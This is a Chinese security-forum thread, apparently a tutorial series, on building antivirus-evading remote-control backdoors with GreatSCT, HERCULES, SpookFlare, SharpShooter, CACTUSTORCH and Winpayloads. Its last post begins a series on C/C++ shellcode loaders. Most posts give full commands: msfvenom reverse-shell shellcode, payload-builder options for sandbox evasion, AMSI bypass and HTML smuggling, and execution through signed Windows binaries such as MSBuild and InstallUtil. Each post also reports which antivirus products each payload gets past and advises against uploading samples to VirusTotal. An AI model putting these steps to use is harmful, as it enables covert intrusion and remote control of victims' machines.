安全矩阵

 找回密码
 立即注册
搜索
123
返回列表 发新帖
楼主: wholesome

远控免杀合集

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-4 12:18:05 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-4 12:58 编辑

远控免杀专题(20)-GreatSCT免杀(VT免杀率14/56)
免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、GreatSCT介绍
GreatSCT可以基于Metasploit、自定义shellcode、powershell等生成payload,然后可利用多种白名单程序进行加载,从而达到免杀的目的。
支持的6种白名单方式:
1、Installutil.exe:安装程序工具是一款命令行工具,允许您通过运行安装程序组件来安装和卸载特定程序集中的服务器资源。
2、Msbuild.exe:Microsoft Build Engine是一个用于构建应用程序的平台。这个引擎,也称为MSBuild。
3、Mshta.exe:Mshta.exe运行Microsoft HTML应用程序,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。
4、Regasm.exe:程序集注册工具读取程序集内的元数据,并将必要的记录添加到注册表中,从而允许COM客户端透明地创建.NET框架类。
5、Regsvcs.exe:RegSvcs表示Microsoft .NET远程注册表服务,它以.NET服务安装著称。
6、Regsvr32.exe:Regsvr32是一个命令行实用程序,用于在Windows注册表中注册和取消注册OLE控件,例如DLL和ActiveX控件。
二、安装GreatSCT
GreatSCT依赖于python3环境,python2无法正常执行,而且操作系统建议kali或者parrot,其他系统还需要额外安装msf。
1、从github上Clone到本地
  1. git clone https://github.com/GreatSCT/GreatSCT.git
复制代码
2、执行安装程序
  1. cd GreatSCT/setup
复制代码
3、注意事项
看安装命令比较简单,但其实里面安装的依赖程序还是挺多的。
比如其中有行安装代码是这样的
  1. apt-get -y -qq install mono-complete mono-mcs unzip wget git ruby p7zip wine wine32 wine64 winbind
复制代码
看起来也没什么问题,但装着装着可能就各种异常了。
如果安装时出现异常,可以根据setup.sh内容自己逐项的去安装解决。
三、GreatSCT使用说明
使用命令python3 GreatSCT.py -h可以查看帮助说明

比较常用的几个参数:
  1. GreatSCT Options:
  2.   --update      更新GreatSCTk.
  3.   --version     显示版本.
  4.   --list-tools  列出GreatSCT所有的可用工具(模块),不过目前只有Bypass这一个模块
  5.   -t Bypass     指定待使用的模块,因为只有bypass,所以就只能用-t Bypass了

  6. Callback Settings:
  7.   --ip IP, --domain IP  指定回连的IP
  8.   --port Port           指定回连的端口

  9. [*] Payload Settings:
  10.   --list-payloads       列出所有的可用payload
  11.   --generate-awl        利用所有模块批量免杀后门

  12. Great Scott Options:
  13.   -c [OPTION1=value OPTION2=value [OPTION1=value OPTION2=value ...]]
  14.                         自定义payload选项
  15.   -o OUTPUT NAME        指定生产后门文件的名字
  16.   -p [PAYLOAD]          指定后门使用的payload
  17.   --clean               清除输出文件夹
  18.   --msfoptions [OPTION=value [OPTION=value ...]]
  19.                         指定msf选项
  20.   --msfvenom [windows/meterpreter/reverse_tcp]
  21.                        利用Msfvenom生成shellcode
复制代码
其中--list-payloads的使用方法是python3 GreatSCT.py -t Bypass --list-payloads,可使用的26个payload。
看名称也很容易判断出各payload的作用,主要是生成相应shellcode后,使用installutil、msbuild、regasm、regsvcs等白名单程序来执行。和专题19中的工具nps_payload原理差不多,只不过GreatSCT支持的白名单更多一些。

其中--generate-awl用法是python3 GreatSCT.py -t Bypass --generate-awl --ip 10.211.55.2 --port 3333,使用payload批量生成免杀后门。
四、利用GreatSCT生成后门
4.1 交互式生成单个后门
GreatSCT提供了傻瓜式的交互模式生成后门
执行python3 GreatSCT.py

输入list可查看所有支持的工具模块,只有一个

输入use 1或者use Bypass可使用该模块,并进入到payload选择中

输入list可查看所有模块

输入use 序号可选择使用对应payload,我这里就选msbuild/meterpreter/rev_https.py了,也就是use 8。进入参数设置。

一般只需要设置LHOST和LPORT就可以

输入generate后开始生成后门文件,还会提示输入文件名,不输入的话会默认为payload

启动metasploit,可直接执行msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

/usr/share/greatsct-output/source/payload.xml文件拷贝到测试机上。
使用命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe payload.xml来进行加载。

可正常上线

打开杀软,动态+静态都没有提示


virustotal.com上payload.xml文件查杀率为14/56


4.2 参数式生成单个后门
GreatSCT可以使用参数自动生成shellcode,比较方便快捷。
以基于installutil的shellcode为例进行测试。
  1. python3 GreatSCT.py --ip 10.211.55.2 --port 3333 -t Bypass -p installutil/meterpreter/rev_https.py
复制代码
生成文件成功

生成的payload.exe不能直接执行,需要使用InstallUtil.exe来执行。
执行命令C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.exe
可免杀,正常上线。

virustotal.com上payload.exe文件查杀率为30/69,这个exe文件查杀率略高。

4.3 批量生成后门
还可以使用命令python3 GreatSCT.py -t Bypass --generate-awl --ip 10.211.55.2 --port 3333来批量生成后门文件,这样每个payload对应一个后门。
执行后会在文件夹中生成类似的下列文件,自己可以逐一测试。

virustotal.com上对其中一个dll文件进行查杀,查杀率为5/68

五、GreatSCT小结
GreatSCT由于是基于白名单的文件加载,所以生成的.xml或.dll之类免杀效果比较好,而.exe文件免杀效果就比较一般了,所以可以根据具体情境去结合使用。GreatSCT提供了6中白名单方式,综合免杀效果还算可以。
六、参考资料
官方github:
  1. https://github.com/GreatSCT/GreatSCT
复制代码
GreatSct -应用程序白名单bypass工具:
  1. https://www.cnblogs.com/backlion/p/10493919.html
复制代码

回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-4 13:19:44 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-4 13:29 编辑

远控免杀专题(21)-HERCULES免杀(VT免杀率14/56)
免杀能力一览表


几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
一、HERCULES介绍
HERCULES,2017年的免杀工具,可以直接生成msf可用的payload并进行免杀,也可以对自定义payload进行免杀,还可以进行后门文件捆绑,并可进行upx加壳,使用比较简单,但安装可能遇到不少问题。
二、安装HERCULES
2.1 安装前的准备
HERCULES对操作系统有一定要求,支持下面这些系统。
操作系统Version
Ubuntu16.04  / 15.10
Kali linuxRolling / Sana
Manjaro*
Arch Linux*
Black Arch*
Parrot OS3.1
另外HERCULES是go语言编写,需要安装go语言。
golang的安装可以参考这里https://github.com/golang/go/wiki/Ubuntu
2.2 安装HERCULES

先从Github上克隆到本地
  1. https://github.com/EgeBalci/HERCULES
复制代码
安装依赖
  1. go get github.com/fatih/color
复制代码
执行安装
  1. go run Setup.go
复制代码
安装成功

在HERCULES目录下执行chmod +x HERCULES
然后执行./HERCULES,看到下面的界面说明安装成功

2.3 安装可能遇到的问题

1、操作系统版本不符
安装脚本setup.go里面对操作系统要求比较严,版本号不符合都不行。
我开始用的parrot 4.4的,它要求必须3.1。当然你可以换个符合的操作系统,也可以修改setup.go文件,不过后面的有些依赖。

2、执行时出错
安装成功后执行./HERCULES,提示[!] HERCULES is not installed properly, please run setup.sh

这个问题比较模糊,需要先删除HERCULES/SOURCE/HERCULES文件,再回到HERCULES目录下再次安装go run Setup.go。记得重新安装前删掉HERCULES/SOURCE/HERCULES文件。
3、执行时路径配置
在执行时可能还会遇到一个这种错误

  1. ./HERCULES: line 4: cd: SOURCE: No such file or directory
  2. ./HERCULES: line 5: ./HERCULES: No such file or directory
复制代码

这时需要配置一个变量$HERCULES_PATH,也就是HERCULES的目录
  1. export HERCULES_PATH=/root/sec/HERCULES
复制代码
4、生成后门出错
在使用HERCULES生成后门文件时,可能遇到一个imported错误

  1. [*] export GOOS=windows && export GOARCH=386 && export GOPATH=$HERCULES_PATH && go build -ldflags "-H windowsgui -s -w" test1.go

  2. ./hack.go:7: imported and not used: "EGESPLOIT/RSE"
复制代码
这个时候需要配置一个变量$GOPATH
  1. export GOPATH=/root/go
复制代码
三、HERCULES使用说明
HERCULES也是和msf无缝对接的免杀工具,免杀相对也比较简单一些,具体免杀的实现可以查看HERCULES/src/EGESPLOIT/RSE/BypassAV.go文件,使用了传统的添加花指令的方式进行免杀。

另外还使用了upx加壳进行保护等。
四、利用HERCULES生成后门
执行./HERCULES,选择1,生成payload

进入选择payload的界面,选择最常规的Meterpreter Reverse TCP,也就是1.

后面输入主控的IP和端口,还有询问是否添加后门可持续化、进程迁移、BYpass等功能,然后输入生成文件的名称test3,最后选加upx壳。
每个选择都需要确认一次

最终生成

测试机执行可正常上线

打开杀软进行测试,360杀毒静态查杀预警,火绒没提示。

可过火绒的静态和动态检测

virustotal.com上查杀率为29/70

五、HERCULES小结
HERCULES免杀原理相对简单,对payload添加无用代码和多次跳转的方式进行免杀处理,从实际测试来看免杀效果只能说是一般,据官方演示在2017年的时候免杀效果应该很棒。可以对其免杀代码进行定制化修改,做成自己轮子工具,别往virustotal.com上传,这样被查杀概率也会小一些。
六、参考资料
官方github:https://github.com/EgeBalci/HERCULES


回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-7 07:57:21 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-7 08:03 编辑

远控免杀专题(22)-SpookFlare免杀(VT免杀率16/67)

免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、SpookFlare介绍

SpookFlare,2018年开源的工具,目前还在更新,使用了多种方式进行bypass。可直接生成基于Meterpreter、Empire、Koadic等平台的的shellcode,并对代码进行混淆、二次编码、随机填充字符串等,从而达到较好的免杀效果。
二、安装SpookFlare

安装相对比较简单
先从github上clone到本地
  1. git clone https://github.com/hlldz/SpookFlare.git
复制代码
进入SpookFlare目录,安装python依赖库
  1. pip install -r requirements.txt
复制代码
执行python spookflare.py即可
三、SpookFlare使用说明

SpookFlare支持生成4类payload,分别是msf的exe程序(需要自己编译)、msf的ps1脚本(做了免杀混淆)、hta文件、office宏代码。
SpookFlare对每个payload都进行了代码混淆处理,基本都加入了随机代码来保证免杀效果能好一些。
感兴趣的可以查看SpookFlare/lib目录下的响应加密处理文件。
四、利用SpookFlare生成后门

还是以生成msf的payload为例进行测试
使用info命令,可查看配置参数,Required值为yes的说明需要配置
配置IP、端口、系统架构(x86或x64)、使用协议(仅支持http和https)
使用generate命令生成
生成的c#文件

需要使用csc.exe编译成exe,命令格式如下
  1. C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:test.exe test.cs
复制代码
执行后可正常上线
打开杀软进行测试,360杀毒可查杀,火绒没有预警。
virustotal.com上查杀率为16/67,在exe里面能算一般以上了。
后来试了下SpookFlare生成的powershell和hta、vba脚本,免杀效果还挺不错的。
五、SpookFlare小结

SpookFlare使用了多种方式进行免杀,exe的免杀可能效果不算太出色,但是对powershell脚本和hta文件等的免杀做的还是不错的,基本静态查杀都能bypass。
SpookFlare目前是2.0版本,不知道什么原因没法直接生成exe文件了,在1.0版本里可以直接生成基于msf的exe文件。
https://github.com/hlldz/SpookFlare/releases这里可以下载到1.0版本。
六、参考资料

HTA Loader for Koadic:https://youtu.be/6OyZuyIbRLU


回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-7 08:20:23 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-7 08:24 编辑

远控免杀专题(23)-SharpShooter免杀(VT免杀率22/57)

免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、SharpShooter介绍

Sharpshooter,2018年开源的工具,知名度较高,基于python2开发,是比较专业的Payload生成框架,支持反沙箱、分阶段和无阶段的Payload执行,并能够生成hta、js、jse、vba、vbe、vbs、wsf等多种格式的payload,创建的Payload可用于编译执行任意C#源代码。Sharpshooter还能对Payload使用随机密钥进行RC4加密,还能检测沙箱,从而避开杀软的检测。
二、安装SharpShooter

安装比较简单,python2执行环境。
先从github上clone到本地
  1. # git clone https://github.com/mdsecactivebreach/SharpShooter
复制代码
进入SharpShooter目录,安装python依赖库
  1. pip install -r requirements.txt
复制代码
执行python sharpShooter.py即可
三、SharpShooter使用说明

SharpShooter支持的参数比较多,可以像垒积木一样构造不同的payload。
  1. <font face="新宋体" size="4">  -h, --help          帮助菜单
  2.   --stageless         创建一个不分阶段的payload
  3.   --dotnetver <ver>   制定dotnet的版本,2或者4
  4.   --com <com>         COM 分阶段技术: 如outlook, shellbrowserwin, wmi, wscript, xslremote等
  5.   --awl <awl>         使用程序白名单技术: wmic, regsvr32
  6.   --awlurl <awlurl>   指定取回 XSL/SCT payload的url地址
  7.   --payload <format>  Payload 类型: hta, js, jse, vbe, vbs, wsf, macro, slk
  8.   --sandbox <types>   绕过沙盒技术:
  9.                       [1] Key to Domain (e.g. 1=CONTOSO)
  10.                       [2] Ensure Domain Joined
  11.                       [3] Check for Sandbox Artifacts
  12.                       [4] Check for Bad MACs
  13.                       [5] Check for Debugging
  14.   --amsi <amsi>       使用AMSI绕过技术: amsienable
  15.   --delivery <type>   分发方法: web, dns, both
  16.   --rawscfile <path>  指定生成payload的shellcode
  17.   --shellcode         使用内置的shellcode
  18.   --scfile <path>     指定C#的shellcode的路径
  19.   --refs <refs>       指定C#需要的依赖文件,如mscorlib.dll等
  20.   --namespace <ns>    指定C#的Namespace,如Foo.bar
  21.   --entrypoint <ep>   指定C#需要执行的方法,如Main
  22.   --web <web>         指定web分发的地址
  23.   --dns <dns>         指定Dns分发的地址
  24.   --output <output>   输出文件的名称
  25.   --smuggle           HTML内的隐藏文件
  26.   --template <tpl>    指定生成html的template文件 (e.g. mcafee)</font>
复制代码
SharpSHooter支持分阶段(Staged)和无阶段(Shageless)Payload执行。分阶段执行可以使用HTTP(S)或DNS这两种方式进行传输,或者两者同时使用。当分阶段Payload被执行时,会尝试检索已经压缩的C#源代码文件,然后使用所选择的方式进行Base64编码。随后,借助.NET CodeDom编译器,将C#源代码下载,并编译到主机上。最后从源代码执行所需的方法。下图展现了SharpShooter在分阶段过程中的具体操作步骤:
SharpShooter的使用还算比较简单的,官方提供了各种payload的生成命令。
1、不分阶段的JavaScript
  1. <font face="新宋体" size="4">SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3</font>
复制代码
2、不分阶段的hta
  1. <font face="新宋体" size="4">SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee</font>
复制代码
3、分阶段的VBS
  1. SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
复制代码
4、使用js加载自定义C#代码
  1. SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee
复制代码
5、使用vbs调用COM方法执行wmic.exe
  1. SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl
复制代码
6、创建hta调用XMLDOM来执行shellcode
  1. SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
复制代码
7、创建VBA调用XMLDOM来执行shellcode
  1. SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
复制代码
8、创建Excel 4.0 符号链接文件执行shellcode
  1. SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
复制代码
要求shellcode不能包含空字符
  1. msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
复制代码
四、利用SharpShooter生成后门

以一个比较简单的为例进行测试,创建一个包含后门的HTA。
要先用msfvenom生成一个raw格式的shellcode
  1. msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o shellcode.txt
复制代码
然后使用SharpShooter创建hta后门
  1. SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./shellcode.txt --sandbox 4 --smuggle --template mcafee
复制代码
在测试机上运行foo.hta,理论是也可以使用mshta.exe http://ip/foo.hta来执行,但我没执行成功。
msf中可正常上线
打开杀软进行测试,火绒静态和动态都可以查杀,360卫士和360杀毒没有报警。
virustotal.com上查杀率为22/57
又试了下SharpShooter生成的js之类的payload,查杀率也差不多,而且都被标注了Sharpshooter的病毒名称,说明SharpShooter默认生成的样本特征都已经被杀软列入特征库了。
五、SharpShooter小结

SharpShooter算是比较复杂的一个框架,支持多种payload,能在.NET框架的v2、v3和v4版本上都能执行,涵盖了绝大部分的Windows系统。但也因为SharpShooter的知名度比较高,默认生成的payload已经被查杀的比较严重,但其实现方式和思路是比较值得人学习的。
而且在2019年1月Sharpshooter加入了AMSI的bypass模板,使用参数--amsi amsienable可以使用该模块来Kill掉AMSI,感兴趣的可以试一下。
六、参考资料

如何使用SharpShooter生成Payload:https://www.anquanke.com/post/id/100533


回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-7 08:27:20 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-7 08:29 编辑

远控免杀专题(24)-CACTUSTORCH免杀(VT免杀率16/67)

免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、CACTUSTORCH介绍

在2017年4月由James Forshaw开源了一个工具DotNetToJScript,能够利用JS或者Vbs等脚本加载.Net程序。在DotNetToJScript发布后,有几款工具根据其原理开发出来,比如CACTUSTORCH、SharpShooter、StarFighters等等。
而CACTUSTORCH和SharpShooter都同一个组织开发,2017年发布,主要使用vbs或js执行C#的二进制payload,提供多种方式绕过杀软,支持js、vbs、vbe、vba、hta等多种格式,还提供了支持Cobalt Strike的cna文件。
二、安装CACTUSTORCH

CACTUSTORCH安装和使用都比较简单。
1、从Github上clone到本地
  1. git clone https://github.com/mdsecactivebreach/CACTUSTORCH
复制代码
2、ok了,纯绿色版,就这么简单。
三、CACTUSTORCH说明

CACTUSTORCH生成的脚本可以用于执行C#的二进制文件,CACTUSTORCH在免杀方面有以下几个特性:
1、在payload中不使用Kernel32 API声明,避免被杀软检测
2、可以在C#二进制内机械能混淆
3、可任意指定目标二进制程序进行注入
4、允许指定任意shellcode
5、不产生PowerShell.exe
6、不需要Powershell
7、不需要office
8、不调用WScript.Shell
9、不需要分段,因为完整的无阶段shellcode可以包含在传送的payload内
10、没有静态父对子进行生成,用户可以更改wscript.exe生成的内容
四、利用CACTUSTORCH生成后门

以生成js脚本为例进行测试。
1、首先要选择一个待注入的exe文件,默认是rundll32.exe, 你也可以使用notepad.exe, calc.exe等,在CACTUSTORCH.js文件中直接修改就行。
2、使用 Cobalt Strike或Metasploit生成一个32位的shellcode
  1. msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o payload.bin
复制代码
3、执行下面命令cat payload.bin | base64 -w 0
4、把生成的base64编码后的代码复制到CACTUSTORCH.js文件中的var code =。
如果是vbs文件,则需要修改CACTUSTORCH.vbs文件中Dim code: code =后面的代码。
如果是生成VBA代码,还需要使用splitvba.py来对代码进行分割,详细可查阅官方说明https://github.com/mdsecactivebreach/CACTUSTORCH
5、在测试机中执行wscript.exe CACTUSTORCH.js
msf中监听windows/meterpreter/reverse_https可正常上线
6、打开杀软进行测试
360和火绒都免杀,都可正常上线
virustotal.com上查杀率为27/57,这个查杀率还是挺高的。
7、测试了一下vbs,也可360和火绒免杀上线

virustotal.com上查杀率为23/57
又测试了一下vba,免杀效果也差不多。
五、CACTUSTORCH小结

因为CACTUSTORCH也是基于DotNetToJScript来实现免杀的工具,同类工具里知名度比较高,所以被查杀的有些惨不忍睹,不过能直接过360和火绒也算一个小亮点了。杀软查杀其脚本主要是里面很多代码关键字都被列入了特征字符,感兴趣的可以尝试修改其脚本代码做二次免杀。
六、参考资料

DotNetToJScript 复活之路:https://evi1cg.me/archives/AMSI_bypass.html
使用CACTUSTORCH 生成Payload:http://4hou.win/wordpress/?p=4727


回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-7 08:31:33 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-7 08:36 编辑

远控免杀专题(25)-Winpayloads免杀(VT免杀率18/70)

免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、Winpayloads介绍

Winpayloads,2019年开源的免杀payload生成工具,可以和Msf无缝对接,自身也可以作为独立远控软件来试用。主要是使用python对shellcode进行处理,然后编译成exe文件,从而达到免杀的效果。
二、安装Winpayloads

Winpayloads的常规安装比较复杂,依赖的软件比较多,需要安装winbind、impacket、Wine、wine32、Pywin32、pyinstaller、PsexecSpray、pycrypto等等,所以官方后来直接把常规安装给去掉了,直接建议使用docker,docke安装起来就非常简单了。
两条命令,十来分钟搞定。
  1. docker pull charliedean07/winpayloads:latestdocker run -e LANG=C.UTF-8 --net=host -it charliedean07/winpayloads
复制代码
以后再运行只需要docker run -e LANG=C.UTF-8 --net=host -it charliedean07/winpayloads就可以。
如果真想手动安装,可以查看官方wiki:https://github.com/nccgroup/Winpayloads/wiki/Installation
三、Winpayloads说明

Winpayloads使用了多种技术对shellcode进行处理,进行免杀和后渗透。
1、UACBypass功能:使用了PowerShellEmpire的Invoke-BypassUAC.ps1
2、PowerUp提权:使用了 PowerShellEmpire的PowerUp.ps1
3、Invoke-Shellcode:使用了PowerSploit的Invoke-Shellcode.ps1
4、Invoke-Mimikatz:使用了PowerSploit的Invoke-Mimikatz.ps1
5、Invoke-EventVwrBypass:利用eventvwr绕过uac
6、Persistence权限维持
7、本地web服务器分发payload,使用了SimpleHTTPServer
8、使用Powershell在内存中加载shellcode
9、沙盒检测技术
10、加载自定义的shellcode
11、Psexec Spray成功连接后再目标主机上执行shellcode
四、利用Winpayloads生成后门

我这里以Windows Meterpreter Reverse HTTPS为例进行测试
在主菜单中选择4,然后输入msf监听的IP和端口
然后确认是否需要bypassUAC功能,需要的话还要选择操作系统类型,win7或win10,之后就可以生成我们需要的payload文件/root/winpayloads/ibzgrkwc.exe
在测试机中执行
msf中监听windows/meterpreter/reverse_https可正常上线
打开杀软进行测试,火绒和360静态+动态均未报警。
virustotal.com平台免杀率为18/70,对exe来说还是不错的。
Winpayloads还可以使用Windows Reverse Shell模块直接生成一般的反弹payload,可用nc直接连接
nc监听4444端口,在测试机执行dakghzil.exe后可获得shell。
virustotal.com平台查杀率也为18/70
前面提到Winpayloads自身也可以作为独立远控软件来试用,在主菜单输入stager后,获得一串powershell代码,在测试机中执行后,可直接在Winpayloads中获得交互shell。
详细使用可参考https://youtu.be/eRl5H5wHqKY
五、Winpayloads小结

Winpayloads使用比较简便,生成的payload免杀效果也是不错的,使用了多种技术来免杀和实施后渗透,唯一的缺点就是生成的payload都有点偏大,大约2.7M左右。
六、参考资料

Winpayloads - Stager Functionality:https://youtu.be/eRl5H5wHqKY


回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-3-7 08:40:20 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-7 08:49 编辑

远控免杀专题(26)-C、C++加载shellcode免杀(上)

本文目录:(由于内容较多篇幅较长,分成了上中下三篇文章):
一、C/C++加载shellcode免杀介绍
二、C/C++源码编译
    2.1 方法1:指针执行(VT免杀率23/71)
    2.2 方法2:申请动态内存加载(VT免杀率24/71)
    2.3 方法3:嵌入汇编加载(VT免杀率12/71)
    2.4 方法4:强制类型转换(VT免杀率9/70)
    2.5 方法5:汇编花指令(VT免杀率12/69)
    2.6 方法6:XOR加密(VT免杀率15/71)
    2.7 方法7:base64加密法1(VT免杀率28/69)
    2.8 方法8:base64加密法2(VT免杀率28/69)
    2.9 方法9:python变形shellcode+汇编代码(VT免杀率8/70)
    2.10 方法10:python+xor处理(VT免杀率15/69)
三、使用shellcode加载器
    3.1 使用shellcode_launcher(VT免杀率3/71)
    3.2 使用SSI加载(VT免杀率6/69)
四、参考资料
免杀能力一览表

几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、C/C++加载shellcode免杀介绍

在此之前对各种常见免杀工具进行了介绍,也可以从中了解很多免杀工具的原理,很多都是使用msfvenom生成shellcode,然后对shellcode进行混淆、编码等各种处理,最终再使用各种语言进行编译或加载。而被用到的最多的语言就是C/C++、C#和python。
这里我们介绍一下C/C++加载shellcode手工编译的方法,一般分为两种方式:
